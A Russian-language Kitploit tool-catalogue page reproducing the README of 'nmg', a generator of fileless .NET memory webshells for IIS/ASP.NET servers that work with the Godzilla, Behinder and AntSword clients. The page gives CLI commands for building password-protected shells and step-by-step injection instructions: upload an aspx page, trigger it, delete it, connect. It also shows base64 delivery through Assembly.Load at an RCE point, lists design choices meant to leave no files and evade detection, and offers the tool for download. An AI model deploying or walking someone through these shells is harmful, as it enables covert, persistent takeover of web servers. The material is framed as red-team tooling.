Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
nmg — Генерирует параметризованные полезные нагрузки .NET memory-shell (VPP, маршрут MVC, HttpListener), совместимые с клиентами Godzilla, Behinder и AntSword для тестирования red team. | Kitploit
Инструменты/GitHubGitHub/baguette168/nmg
Оборонительные ИнструментыГенерация полезной нагрузкиМеханизмы персистентностиЭксплуатация веб-приложенийПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеRed TeamingИнструмент Удаленного ДоступаГенерация ШеллкодаРазработка Полезной Нагрузки
71713 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHubbaguette168/nmg

nmg

Генерирует параметризованные полезные нагрузки .NET memory-shell (VPP, маршрут MVC, HttpListener), совместимые с клиентами Godzilla, Behinder и AntSword для тестирования red team.

Репозиторий
Поделиться

NMG - генератор .NET memory-shell

.NET Tests License Platform

Параметризованный генератор .NET memory shell | Red team / тестирование безопасности | аналог JMG для .NET

Архитектура

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

Что такое NMG?

NMG генерирует параметризованные полезные нагрузки .NET memory shell, которые внедряются в приложения IIS/ASP.NET, не оставляя файлов на диске. После внедрения вы подключаетесь с помощью существующих менеджеров веб-оболочек (Godzilla / Behinder / AntSword) — NMG просто обеспечивает работу серверной части.

Представьте это так: входные параметры -> скомпилированная полезная нагрузка -> внедрение -> подключение клиентом

Возможности

Типы memory shell

ТипЦель.NET FrameworkТочка срабатывания
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistenerStandalone/SYSTEM2.0+HttpListener (независимо от IIS)

Протоколы оболочек

ПротоколКлиентШифрованиеПроверено
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ Сквозная проверка
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] raw bytes)✅ Сквозная проверка
antswordAntSwordBase64✅ Сквозная проверка

Форматы вывода

ФорматСценарий использования
aspxЗагрузить в каталог с правами записи, обратиться один раз для внедрения
b64Для доставки через RCE посредством десериализации/инъекции выражений
dllНеобработанная DLL для пользовательских загрузчиков

Подкоманды

КомандаНазначение
generateСгенерировать полезную нагрузку memory shell
probeСгенерировать aspx для определения окружения (сообщает CLR/trust/MVC/VPP)
versionПоказать версию
helpПоказать справку по использованию

Веб-интерфейс

Встроенный веб-интерфейс с темой Inset Dark (минимализм в стиле Linear):

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

Быстрый старт

CLI

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

Методы внедрения

Метод 1 — ASPX-инжектор:

  1. Загрузите сгенерированный файл .aspx в любой каталог с правами записи на целевом сервере.
  2. Обратитесь к нему один раз через браузер (это запускает Assembly.Load и регистрацию VPP).
  3. Удалите файл aspx.
  4. Подключитесь клиентом веб-шелла к любому существующему .aspx/.ashx/.asmx на сайте.

Метод 2 — Base64 (доставка RCE): Выполните в любой точке выполнения кода:

Assembly.Load(Convert.FromBase64String("<payload>"))

Probe

Загрузите сгенерированный probe.aspx и обратитесь к нему один раз. Он возвращает JSON с:

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

Используйте это, чтобы определить, какой тип memory shell и протокол использовать.

Принципы проектирования

  1. Безопасность для хоста: все пути выполнения обёрнуты в try-catch, любое исключение молча пропускает запрос без изменений
  2. Идемпотентность: повторное внедрение не приводит к накоплению регистраций
  3. Отсутствие файловых следов: после внедрения в веб-каталоге не появляется новых файлов
  4. Детерминированность: одинаковые параметры + одинаковый seed = побайтово идентичный результат (NFR-5)
  5. Без динамической компиляции на цели: полезная нагрузка предварительно скомпилирована, что позволяет избежать обнаружения по ASP.xxx_aspx+ClassName
  6. Двойная регистрация: VPP сначала использует официальный API, а при неудаче переходит к прямой замене полей для режима IIS Integrated

Сборка

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

Структура проекта

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

Ссылки

  • BeichenDream/GodzillaMemoryShellProject.NET
  • Серия ASP.NET memory shell от yzddmr6 — filter, route, HttpListener, VirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Java Memory-shell Generator

Лицензия

MIT

Скачать инструмент